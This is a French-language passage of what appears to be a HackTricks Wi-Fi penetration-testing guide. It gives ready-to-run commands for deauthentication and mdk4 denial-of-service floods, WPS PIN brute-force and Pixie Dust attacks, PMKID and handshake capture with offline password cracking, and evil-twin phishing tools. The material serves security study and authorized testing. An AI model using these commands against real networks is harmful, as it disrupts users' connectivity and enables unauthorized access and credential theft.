.. | ||
evil-twin-eap-tls.md | ||
README.md |
Pentesting Wifi
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende du hacker web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Commandes de base Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
EAPHammer est un outil puissant conçu pour effectuer des attaques de phishing contre les réseaux Wi-Fi protégés par EAP. Il utilise des techniques d'ingénierie sociale pour tromper les utilisateurs et les inciter à divulguer leurs informations d'identification. EAPHammer est facile à utiliser et offre une variété d'options de personnalisation pour s'adapter à différents scénarios d'attaque.
Wifite2
Wifite2 est un outil automatisé de test de pénétration Wi-Fi qui utilise une variété de techniques pour casser les mots de passe Wi-Fi. Il prend en charge les attaques par dictionnaire, les attaques par force brute et les attaques par hachage de mots de passe. Wifite2 est facile à utiliser et offre une interface en ligne de commande conviviale pour effectuer des tests de pénétration Wi-Fi.
Aircrack-ng
Aircrack-ng est un ensemble d'outils de test de pénétration Wi-Fi qui permettent de capturer, de décoder et d'analyser les paquets Wi-Fi. Il prend en charge les attaques par dictionnaire, les attaques par force brute et les attaques par hachage de mots de passe. Aircrack-ng est un outil puissant et largement utilisé dans la communauté de la sécurité pour tester la sécurité des réseaux Wi-Fi.
Reaver
Reaver est un outil de test de pénétration Wi-Fi spécialement conçu pour attaquer les réseaux Wi-Fi protégés par WPS (Wi-Fi Protected Setup). Il exploite une vulnérabilité dans le protocole WPS pour récupérer le code PIN du routeur et ainsi obtenir l'accès au réseau Wi-Fi. Reaver est un outil efficace pour tester la sécurité des réseaux Wi-Fi utilisant WPS.
Fluxion
Fluxion est un outil de test de pénétration Wi-Fi qui utilise des techniques d'ingénierie sociale pour tromper les utilisateurs et les inciter à divulguer leurs informations d'identification. Il crée un faux point d'accès Wi-Fi et utilise des attaques de phishing pour capturer les informations d'identification des utilisateurs. Fluxion est un outil puissant et polyvalent pour tester la sécurité des réseaux Wi-Fi.
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddon est un outil de test d'intrusion Wi-Fi tout-en-un qui permet aux professionnels de la sécurité de mener des tests de pénétration sur les réseaux sans fil. Il est conçu pour être utilisé dans des environnements de test contrôlés et avec l'autorisation appropriée.
Fonctionnalités principales
-
Attaques de capture de poignée de main WPA/WPA2 : Airgeddon peut capturer les poignées de main WPA/WPA2 pour les réseaux Wi-Fi cibles, ce qui permet aux testeurs de pénétration d'essayer de casser la clé de chiffrement.
-
Attaques de déconnexion : L'outil peut déconnecter les clients connectés à un réseau Wi-Fi cible, ce qui peut être utilisé pour forcer les clients à se reconnecter et à générer de nouvelles poignées de main.
-
Attaques de clonage de réseau : Airgeddon peut créer un faux point d'accès Wi-Fi qui imite un réseau cible, ce qui peut être utilisé pour tromper les utilisateurs et les amener à se connecter au faux réseau.
-
Attaques de déni de service : L'outil peut lancer des attaques de déni de service contre un réseau Wi-Fi cible, ce qui peut entraîner une interruption du service pour les utilisateurs légitimes.
-
Attaques de force brute : Airgeddon peut effectuer des attaques de force brute pour essayer de deviner les mots de passe Wi-Fi.
-
Attaques de phishing : L'outil peut créer des pages de phishing personnalisées pour tenter de voler les informations d'identification des utilisateurs.
-
Attaques de reconnaissance : Airgeddon peut effectuer des scans de réseau pour identifier les réseaux Wi-Fi disponibles et collecter des informations sur les points d'accès.
Utilisation
Pour utiliser Airgeddon, vous devez d'abord installer les dépendances requises et configurer votre adaptateur Wi-Fi en mode monitor. Ensuite, vous pouvez exécuter l'outil en utilisant la commande suivante :
sudo bash airgeddon.sh
Airgeddon vous guidera tout au long du processus de test d'intrusion Wi-Fi et vous permettra de sélectionner les attaques à exécuter en fonction de vos besoins spécifiques.
Avertissement
Il est important de noter que l'utilisation d'Airgeddon pour effectuer des tests d'intrusion Wi-Fi sans autorisation appropriée est illégale. Assurez-vous d'obtenir l'autorisation du propriétaire du réseau avant d'utiliser cet outil.
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Exécutez airgeddon avec docker
Airgeddon est un outil puissant pour les tests de pénétration Wi-Fi. Il peut être exécuté dans un environnement Docker pour faciliter son utilisation et sa portabilité. Suivez les étapes ci-dessous pour exécuter airgeddon avec Docker :
- Assurez-vous d'avoir Docker installé sur votre système.
- Clonez le référentiel airgeddon depuis GitHub en utilisant la commande suivante :
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
- Accédez au répertoire airgeddon :
cd airgeddon
- Construisez l'image Docker en utilisant la commande suivante :
docker build -t airgeddon .
- Exécutez airgeddon en utilisant la commande suivante :
docker run -it --net=host --privileged airgeddon
Maintenant, vous pouvez utiliser airgeddon dans votre environnement Docker pour effectuer des tests de pénétration Wi-Fi. Assurez-vous de comprendre et de respecter les lois et réglementations en vigueur concernant l'utilisation de cet outil.
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modèle de phishing pour parvenir à obtenir le véritable mot de passe du réseau ou capturer les identifiants des réseaux sociaux.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Cet outil automatise les attaques WPS/WEP/WPA-PSK. Il effectuera automatiquement les actions suivantes :
- Mettre l'interface en mode monitor
- Scanner les réseaux possibles - Et vous permettre de sélectionner la ou les victimes
- Si WEP - Lancer des attaques WEP
- Si WPA-PSK
- Si WPS : attaque Pixie Dust et attaque par force brute (attention, l'attaque par force brute peut prendre beaucoup de temps). Notez qu'elle n'essaie pas les PIN null ou les PIN générés à partir d'une base de données.
- Essayer de capturer le PMKID de l'AP pour le casser
- Essayer de déauthentifier les clients de l'AP pour capturer un handshake
- Si PMKID ou Handshake, essayer de casser le mot de passe en utilisant les 5000 mots de passe les plus courants.
Résumé des attaques
- DoS
- Paquets de déauthentification/désassociation -- Déconnecter tout le monde (ou un ESSID/Client spécifique)
- Faux AP aléatoires -- Cacher les réseaux, possible de faire planter les scanners
- Surcharge de l'AP -- Essayer de tuer l'AP (généralement pas très utile)
- WIDS -- Jouer avec l'IDS
- TKIP, EAPOL -- Quelques attaques spécifiques pour DoS certains APs
- Cracking
- Casser le WEP (plusieurs outils et méthodes)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID brute force
- [DoS +] Capture du handshake WPA + Cracking
- WPA-MGT
- Capture de nom d'utilisateur
- Brute force des identifiants
- Evil Twin (avec ou sans DoS)
- Open Evil Twin [+ DoS] -- Utile pour capturer les identifiants du portail captif et/ou effectuer des attaques LAN
- WPA-PSK Evil Twin -- Utile pour les attaques réseau si vous connaissez le mot de passe
- WPA-MGT -- Utile pour capturer les identifiants de l'entreprise
- KARMA, MANA, Loud MANA, Beacon connu
- + Open -- Utile pour capturer les identifiants du portail captif et/ou effectuer des attaques LAN
- + WPA -- Utile pour capturer les handshakes WPA
DOS
Paquets de déauthentification
La manière la plus courante de réaliser ce type d'attaque est d'utiliser des paquets de déauthentification. Il s'agit d'un type de trame "management" responsable de la déconnexion d'un appareil d'un point d'accès. La falsification de ces paquets est la clé pour pirater de nombreux réseaux Wi-Fi, car vous pouvez déconnecter de force n'importe quel client du réseau à tout moment. La facilité avec laquelle cela peut être fait est assez effrayante et est souvent réalisée dans le cadre de la collecte d'un handshake WPA pour le casser.
Outre l'utilisation momentanée de cette déconnexion pour récupérer un handshake à casser, vous pouvez également laisser ces déauths continuer, ce qui a pour effet de bombarder le client de paquets de déauthentification provenant apparemment du réseau auquel il est connecté. Comme ces trames ne sont pas chiffrées, de nombreux programmes en profitent en les falsifiant et en les envoyant à un ou à tous les appareils d'un réseau.
Description provenant de ici.
Déauthentification en utilisant Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 signifie déauthentification
- 1 est le nombre de déauthentifications à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez); 0 signifie les envoyer en continu
- -a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès
- -c 00:0F:B5:34:30:30 est l'adresse MAC du client à déauthentifier; si cela est omis, une déauthentification de diffusion est envoyée (ne fonctionne pas toujours)
- ath0 est le nom de l'interface
Paquets de désassociation
Les paquets de désassociation sont un autre type de trame de gestion utilisée pour déconnecter un nœud (c'est-à-dire tout appareil comme un ordinateur portable ou un téléphone portable) d'un point d'accès à proximité. La différence entre les trames de déauthentification et de désassociation réside principalement dans leur utilisation.
Un point d'accès cherchant à déconnecter un appareil non autorisé enverrait un paquet de déauthentification pour informer l'appareil qu'il a été déconnecté du réseau, tandis qu'un paquet de désassociation est utilisé pour déconnecter tous les nœuds lorsque le point d'accès s'éteint, redémarre ou quitte la zone.
Description provenant de ici.
Cette attaque peut être effectuée avec mdk4 (mode "d") :
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Plus d'attaques DOS par mdk4
À partir d'ici.
MODE D'ATTAQUE b: Inondation de balises
Envoie des trames de balises pour afficher de faux points d'accès aux clients. Cela peut parfois faire planter les scanners réseau et même les pilotes !
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
MODE D'ATTAQUE a: Déni de service d'authentification
Envoie des trames d'authentification à tous les points d'accès (AP) trouvés dans la zone. Un trop grand nombre de clients peut bloquer ou réinitialiser plusieurs AP.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
MODE D'ATTAQUE p: Sonde de SSID et Bruteforcing
Sonde les points d'accès (AP) et vérifie la réponse, utile pour vérifier si le SSID a été correctement démasqué et si l'AP est dans votre portée d'envoi. Le bruteforcing des SSID cachés avec ou sans liste de mots est également disponible.
MODE D'ATTAQUE m: Exploitation des contre-mesures de Michael
Envoie des paquets aléatoires ou réinjecte des doublons sur une autre file QoS pour provoquer les contre-mesures de Michael sur les AP TKIP. L'AP se mettra alors hors service pendant une minute entière, ce qui en fait une attaque DoS efficace.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
MODE D'ATTAQUE e: Injection de paquets EAPOL Start et Logoff
Inonde un point d'accès (AP) avec des trames de démarrage EAPOL pour le maintenir occupé avec de fausses sessions et ainsi l'empêcher de gérer des clients légitimes. Ou déconnecte les clients en injectant de faux messages de déconnexion EAPOL.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
MODE D'ATTAQUE s: Attaques pour les réseaux maillés IEEE 802.11s
Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés. Inonder les voisins et les routes, créer des trous noirs et détourner le trafic !
MODE D'ATTAQUE w: Confusion des WIDS
Confusion/Abus des systèmes de détection et de prévention des intrusions en connectant les clients à plusieurs nœuds WDS ou à de faux points d'accès malveillants.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
MODE D'ATTAQUE f: Fuzzer de paquets
Un simple fuzzer de paquets avec plusieurs sources de paquets et un ensemble intéressant de modificateurs. Faites attention !
Airggedon
Airgeddon propose la plupart des attaques proposées dans les commentaires précédents :
WPS
WPS signifie Wi-Fi Protected Setup. Il s'agit d'une norme de sécurité des réseaux sans fil qui tente de rendre les connexions entre un routeur et des appareils sans fil plus rapides et plus faciles. WPS fonctionne uniquement pour les réseaux sans fil qui utilisent un mot de passe crypté avec les protocoles de sécurité WPA Personnel ou WPA2 Personnel. WPS ne fonctionne pas sur les réseaux sans fil qui utilisent la sécurité WEP obsolète, qui peut être facilement crackée par n'importe quel pirate avec un ensemble de outils et de compétences de base. (À partir de ici)
WPS utilise un code PIN de 8 chiffres pour permettre à un utilisateur de se connecter au réseau, mais les quatre premiers chiffres sont d'abord vérifiés, puis les quatre derniers chiffres. Il est donc possible de forcer la première moitié puis la deuxième moitié (seulement 11000 possibilités).
Brute-Force WPS
Il existe 2 principaux outils pour effectuer cette action : Reaver et Bully.
- Reaver a été conçu pour être une attaque robuste et pratique contre WPS, et a été testé sur une grande variété de points d'accès et d'implémentations WPS.
- Bully est une nouvelle implémentation de l'attaque par force brute WPS, écrite en C. Il présente plusieurs avantages par rapport au code Reaver original : moins de dépendances, amélioration des performances de la mémoire et du processeur, gestion correcte de l'endianness et un ensemble d'options plus robuste.
Cette attaque exploite une faiblesse dans le code PIN WPS à huit chiffres ; en raison de ce problème, le protocole révèle des informations sur les quatre premiers chiffres du PIN, et le dernier chiffre sert de checksum, ce qui facilite le forçage brut du point d'accès WPS.
Notez que certains appareils incluent des protections contre la force brute, qui bloquent généralement les adresses MAC qui tentent de manière répétée de lancer une attaque. Dans ce cas, la complexité de cette attaque augmente, car vous devrez faire tourner les adresses MAC tout en testant les PIN.
Si le code WPS valide est trouvé, à la fois Bully et Reaver l'utiliseront pour découvrir la clé WPA/WPA2 PSK utilisée pour protéger le réseau, vous permettant ainsi de vous connecter à tout moment où vous en avez besoin.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute force
Au lieu de commencer à essayer chaque code PIN possible, vous devriez vérifier s'il existe des codes PIN découverts pour l'AP que vous attaquez (en fonction de l'adresse MAC du fabricant) et les codes PIN générés par le logiciel.
- La base de données des codes PIN connus est destinée aux points d'accès de certains fabricants pour lesquels il est connu qu'ils utilisent les mêmes codes PIN WPS. Cette base de données contient les trois premiers octets des adresses MAC et une liste de codes PIN correspondants qui sont très probables pour ce fabricant.
- Il existe plusieurs algorithmes pour générer des codes PIN WPS. Par exemple, ComputePIN et EasyBox utilisent l'adresse MAC du point d'accès dans leurs calculs. Mais l'algorithme Arcadyan nécessite également un identifiant de périphérique.
Attaque WPS Pixie Dust
Dominique Bongard a découvert que certains points d'accès ont des moyens faibles de générer des nonces (connus sous le nom de E-S1 et E-S2) qui sont censés être secrets. Si nous sommes capables de déterminer ce que sont ces nonces, nous pouvons facilement trouver le code PIN WPS d'un point d'accès car le point d'accès doit nous le donner sous forme de hachage pour prouver qu'il connaît également le code PIN, et que le client ne se connecte pas à un point d'accès frauduleux. Ces E-S1 et E-S2 sont essentiellement les "clés pour déverrouiller la boîte de verrouillage" contenant le code PIN WPS. Plus d'informations ici : https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
En gros, certaines implémentations ont échoué dans l'utilisation de clés aléatoires pour chiffrer les 2 parties du code PIN (car il est décomposé en 2 parties lors de la communication d'authentification et envoyé au client), donc une attaque hors ligne pourrait être utilisée pour forcer le code PIN valide.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Attaque Null Pin
Certaines implémentations vraiment mauvaises permettent la connexion avec un code PIN nul (très étrange aussi). Reaver peut tester cela (Bully ne peut pas).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Toutes les attaques WPS proposées peuvent être facilement effectuées en utilisant airgeddon.
- 5 et 6 vous permettent d'essayer votre code PIN personnalisé (si vous en avez un)
- 7 et 8 effectuent l'attaque Pixie Dust
- 13 vous permet de tester le code PIN NULL
- 11 et 12 vont récupérer les codes PIN liés à l'AP sélectionné à partir des bases de données disponibles et générer des codes PIN possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
- 9 et 10 vont tester tous les codes PIN possibles
WEP
Tellement obsolète et disparu que je ne vais pas en parler. Sachez simplement que airgeddon a une option WEP appelée "All-in-One" pour attaquer ce type de protection. D'autres outils offrent des options similaires.
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez votre récompense sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
WPA/WPA2 PSK
PMKID
En 2018, les auteurs de hashcat ont révélé un nouveau type d'attaque qui ne repose pas seulement sur un seul paquet, mais qui ne nécessite pas non plus que des clients soient connectés à notre AP cible, mais seulement une communication entre l'attaquant et l'AP.
Il s'avère que beaucoup de routeurs modernes ajoutent un champ facultatif à la fin de la première trame EAPOL envoyée par l'AP lui-même lorsqu'une personne s'associe, appelé Robust Security Network
, qui inclut quelque chose appelé PMKID
.
Comme expliqué dans le message original, le PMKID est dérivé en utilisant des données qui nous sont connues :
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Étant donné que la chaîne "PMK Name" est constante, nous connaissons à la fois le BSSID de l'AP et de la station et le PMK
est le même que celui obtenu à partir d'une poignée de main complète à 4 voies, c'est tout ce dont hashcat a besoin pour craquer la PSK et récupérer la phrase secrète !
Description obtenue ici.
Pour collecter ces informations et forcer localement le mot de passe, vous pouvez faire :
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Les PMKIDs capturés seront affichés dans la console et également enregistrés dans _ /tmp/attack.pcap_
Maintenant, convertissez la capture au format hashcat/john et cassez-le :
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Veuillez noter que le format d'un hachage correct contient 4 parties, comme ceci : 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__Si le vôtre ne contient que 3 parties, alors il est invalide (la capture PMKID n'était pas valide).
Notez que hcxdumptool
capture également les poignées de main (quelque chose comme ceci apparaîtra : MP:M1M2 RC:63258 EAPOLTIME:17091
). Vous pouvez transformer les poignées de main au format hashcat/john en utilisant cap2hccapx
.
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
J'ai remarqué que certaines poignées de main capturées avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer les poignées de main également de manière traditionnelle si possible, ou de capturer plusieurs d'entre elles en utilisant cet outil.
Capture de poignée de main
Une façon d'attaquer les réseaux WPA/WPA2 est de capturer une poignée de main et d'essayer de craquer le mot de passe utilisé hors ligne. Pour ce faire, vous devez trouver le BSSID et le canal du réseau de la victime, ainsi qu'un client connecté au réseau.
Une fois que vous avez ces informations, vous devez commencer à écouter toutes les communications de ce BSSID sur ce canal, car avec un peu de chance, la poignée de main y sera envoyée :
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
Maintenant, vous devez déauthentifier le client pendant quelques secondes afin qu'il se réauthentifie automatiquement à l'AP (veuillez lire la partie sur le DoS pour trouver plusieurs façons de déauthentifier un client) :
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
Notez que lorsque le client est déauthentifié, il peut essayer de se connecter à un autre point d'accès ou, dans d'autres cas, à un autre réseau.
Une fois que des informations de poignée de main apparaissent dans airodump-ng
, cela signifie que la poignée de main a été capturée et vous pouvez arrêter d'écouter :
Une fois la poignée de main capturée, vous pouvez la cracker avec aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Vérifier si une poignée de main est présente dans le fichier
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark est un outil en ligne de commande qui permet de capturer et d'analyser le trafic réseau. Il est utilisé dans le cadre des tests de pénétration pour examiner les paquets de données échangés sur un réseau Wi-Fi. Tshark offre une grande flexibilité en termes de filtrage et d'analyse des paquets, ce qui en fait un outil puissant pour l'analyse du trafic réseau lors des tests de pénétration.
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty est un outil open source utilisé pour casser les mots de passe des réseaux Wi-Fi protégés par le protocole WPA-PSK. Il utilise des attaques par dictionnaire et par force brute pour récupérer les clés de chiffrement. Cowpatty peut être utilisé dans le cadre d'un test de pénétration pour évaluer la sécurité d'un réseau sans fil. Il est important de noter que l'utilisation de cowpatty pour accéder illégalement à des réseaux Wi-Fi sans autorisation est illégale et peut entraîner des poursuites judiciaires.
cowpatty -r psk-01.cap -s "ESSID" -f -
Si cet outil trouve une poignée de main incomplète d'un ESSID avant celle complétée, il ne détectera pas celle valide.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Il est important de parler des différentes méthodes d'authentification qui pourraient être utilisées par un réseau Wifi d'entreprise. Pour ce type de réseaux Wifi, vous trouverez probablement dans airodump-ng
quelque chose comme ceci:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP (Extensible Authentication Protocol) est le protocole d'authentification utilisé pour les communications d'authentification. Un algorithme d'authentification est utilisé par le serveur pour authentifier le client (supplicant) et parfois par le client pour authentifier le serveur.
Les principaux algorithmes d'authentification utilisés dans ce cas sont :
- EAP-GTC : Il s'agit d'une méthode EAP permettant de prendre en charge l'utilisation de jetons matériels et de mots de passe à usage unique avec EAP-PEAP. Son implémentation est similaire à MSCHAPv2, mais n'utilise pas de défi entre pairs. Au lieu de cela, les mots de passe sont envoyés en clair au point d'accès (très intéressant pour les attaques de rétrogradation).
- EAP-MD-5 (Message Digest) : Le client envoie le hachage MD5 du mot de passe. Non recommandé : Vulnérable aux attaques par dictionnaire, pas d'authentification du serveur et pas de moyen de générer des clés de confidentialité équivalentes au câble (WEP) par session.
- EAP-TLS (Transport Layer Security) : Il repose sur des certificats côté client et côté serveur pour effectuer l'authentification et peut être utilisé pour générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications ultérieures.
- EAP-TTLS (Tunneled Transport Layer Security) : Authentification mutuelle du client et du réseau via un canal (ou tunnel) chiffré, ainsi qu'un moyen de dériver des clés WEP dynamiques, spécifiques à l'utilisateur et à la session. Contrairement à EAP-TLS, EAP-TTLS ne nécessite que des certificats côté serveur (le client utilisera des informations d'identification).
- PEAP (Protected Extensible Authentication Protocol) : PEAP est similaire au protocole EAP, mais crée un tunnel TLS pour protéger la communication. Ainsi, des protocoles d'authentification faibles peuvent être utilisés par-dessus EAP car ils seront protégés par le tunnel.
- PEAP-MSCHAPv2 : Cela est également connu sous le nom de PEAP car il est largement adopté. Il s'agit simplement du challenge/réponse vulnérable appelé MSCHAPv2 sur PEAP (il est protégé par le tunnel TLS).
- PEAP-EAP-TLS ou simplement PEAP-TLS : C'est très similaire à EAP-TLS, mais un tunnel TLS est créé avant l'échange des certificats.
Vous pouvez trouver plus d'informations sur ces méthodes d'authentification ici et ici.
Capture du nom d'utilisateur
En lisant https://tools.ietf.org/html/rfc3748#page-27, il semble que si vous utilisez EAP, les messages "Identity" doivent être pris en charge, et le nom d'utilisateur sera envoyé en clair dans les messages "Response Identity".
Même en utilisant l'une des méthodes d'authentification les plus sécurisées : PEAP-EAP-TLS, il est possible de capturer le nom d'utilisateur envoyé dans le protocole EAP. Pour ce faire, capturez une communication d'authentification (lancez airodump-ng
sur un canal et wireshark
sur la même interface) et filtrez les paquets par eapol
.
Dans le paquet "Response, Identity", le nom d'utilisateur du client apparaîtra.
Identités anonymes
(Informations tirées de https://www.interlinknetworks.com/app_notes/eap-peap.htm)
EAP-PEAP et EAP-TTLS prennent en charge la dissimulation de l'identité. Dans un environnement WiFi, le point d'accès (AP) génère généralement une demande d'identité EAP dans le cadre du processus d'association. Pour préserver l'anonymat, le client EAP sur le système de l'utilisateur peut répondre avec seulement les informations nécessaires pour permettre au serveur RADIUS de premier saut de traiter la demande, comme le montrent les exemples suivants.
- EAP-Identity = anonymous
Dans cet exemple, tous les utilisateurs partageront le pseudo-nom d'utilisateur "anonymous". Le serveur RADIUS de premier saut est un serveur EAP-PEAP ou EAP-TTLS qui gère l'extrémité serveur du protocole PEAP ou TTLS. Le type d'authentification interne (protégé) sera ensuite géré localement ou relayé vers un serveur RADIUS distant (domicile).
- EAP-Identity = anonymous@realm_x
Dans cet exemple, les utilisateurs appartenant à différents domaines masquent leur propre identité mais indiquent à quel domaine ils appartiennent afin que le serveur RADIUS de premier saut puisse relayer les demandes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS de leur domaine d'origine qui agiront en tant que serveur PEAP ou TTLS. Le serveur de premier saut agit purement comme un nœud relais RADIUS.
Alternativement, le serveur de premier saut peut agir en tant que serveur EAP-PEAP ou EAP-TTLS et traiter lui-même la méthode d'authentification protégée ou la relayer vers un autre serveur. Cette option peut être utilisée pour configurer différentes politiques pour différents domaines.
Dans EAP-PEAP, une fois que le serveur PEAP et le client PEAP établissent le tunnel TLS, le serveur PEAP génère une demande d'identité EAP et la transmet dans le tunnel TLS. Le client répond à cette deuxième demande d'identité EAP en envoyant une réponse d'identité EAP contenant la véritable identité de l'utilisateur dans le tunnel chiffré. Cela empêche toute personne qui intercepte le trafic 802.11 de découvrir la véritable identité de l'utilisateur.
EAP-TTLS fonctionne légèrement différemment. Avec EAP-TTLS, le client s'authentifie généralement via PAP ou CHAP protégé par le tunnel TLS. Dans ce cas, le client inclura un attribut User-Name et soit un attribut Password, soit un attribut CHAP-Password dans le premier message TLS envoyé après l'établissement du tunnel.
Avec l'un ou l'autre de ces protocoles, le serveur PEAP/TTLS apprend la véritable identité de l'utilisateur une fois que le tunnel TLS a été établi. La véritable identité peut être sous la forme user@realm ou simplement user. Si le serveur PEAP/TTLS authentifie également l'utilisateur, il connaît maintenant l'identité de l'utilisateur et poursuit la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transmettre une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS a le protocole PEAP ou TTLS supprimé. Si la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur - pas l'identité anonyme de l'attribut User-Name de la demande RADIUS entrante. Si la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs User-Name et autres attributs d'authentification récupérés de la charge utile TLS sont placés dans le message RADIUS sortant à la place de l'identité anonyme User-Name et des attributs TTLS EAP-Message inclus dans la demande RADIUS entrante.
EAP-Bruteforce (password spray)
